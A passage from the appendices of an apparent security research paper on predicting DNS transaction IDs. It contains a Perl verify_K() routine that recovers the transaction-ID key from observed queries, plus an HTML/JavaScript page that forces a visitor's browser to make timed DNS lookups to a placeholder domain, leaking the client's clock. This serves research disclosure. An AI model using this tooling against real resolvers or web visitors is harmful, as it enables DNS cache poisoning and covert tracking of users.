                     my $found=0;
                     for(my $j=floor($delta_t_min/$tick);
                            $j<=ceil($delta_t_max/$tick);$j++)
                     {
                            if ((floor($j*$tick)+1) % 487 == $delta_square)
                            {
                                   $found=1;
                                   last;
                            }
                            if ((ceil($j*$tick)+1) % 487 == $delta_square)
                            {
                                   $found=1;
                                   last;
                            }
                     }
                     if (not $found)
                     {
                            return 0;
                     }
              }
              $prev_delta=$delta;
       }
       return 1;
}
```

Appendix E – verify_K() for Technique #3

```
use POSIX qw(ceil floor);

$tick=15.6250;  # In milliseconds - for multi-CPU/multi-core/HT machines

#$tick=10.0144; # In milliseconds - for single-CPU, single-core,
                # non-HT machines

$tick_tolerance=2; # Tolerance, in ticks. Increase if no K is found.

sub verify_K
{
       my $K=shift;
       my %prev_n0;
       for (my $m=1;$m<$count;$m++)
       {
              my $previous_S=$txid[$m-1]^$K;
              my $current_S=$txid[$m]^$K;
              my $delta=($current_S-$previous_S-1) % 65536;

              my $n=(($delta-$m-$resolver_time[$m]) % 487);

              # Create a list of possible n values

              my %n0;
              for(my $j=0;$j<=$tick_tolerance;$j++)
              {
                     $n0{($n-(floor($j*$tick))) % 487}=1;
                     $n0{($n- (ceil($j*$tick))) % 487}=1;
              }

              if ($m>1)
              {
                     # Find the intersection between %n0 and %prev_n0,
                     # and store it into %n0

                     foreach $k (keys(%n0))
                     {
                            if ($prev_n0{$k}!=1)
                            {
                                   delete $n0{$k};
                            }
                     }
              }
              %prev_n0=%n0;
              if (not scalar(%n0))
              {
                     # %no is empty

                     return 0;
              }
       }
       return 1;
}
```

Appendix F – HTML page for Technique #3

The following HTML code was tested with Microsoft Internet Explorer 6 (Windows XP SP2), Microsoft Internet Explorer 7, Mozilla Firefox 1.5 and Mozilla Firefox 2.0. It attempts to load 20 images from 20 different server names, thus forcing 20 DNS queries. The server name pattern is easily configurable. The client time is elegantly leaked with the DNS query itself, since the hostname contains the timestamp. Note that this matches the pattern expected in the script of Appendix E. It does not matter whether the URL actually resolves into an image or not (both cases are covered – the former with the `onload` handler, and the latter with the `onerror` handler).

Care was taken to request the images sequentially, thus avoiding the problems with multithreaded DNS resolution.

```
<html>
<body>
<script>

var max_n=20;

var n=0;
var x=new Image();
x.onerror=loadnext;
x.onload=loadnext;

function loadnext()
{
	if (n<max_n)
	{
		n++;
		x.src="http://t-"+(new Date()).getTime()+
			"-"+n+".domain.site/";
	}
}

loadnext();

</script>
</body>
</html>
```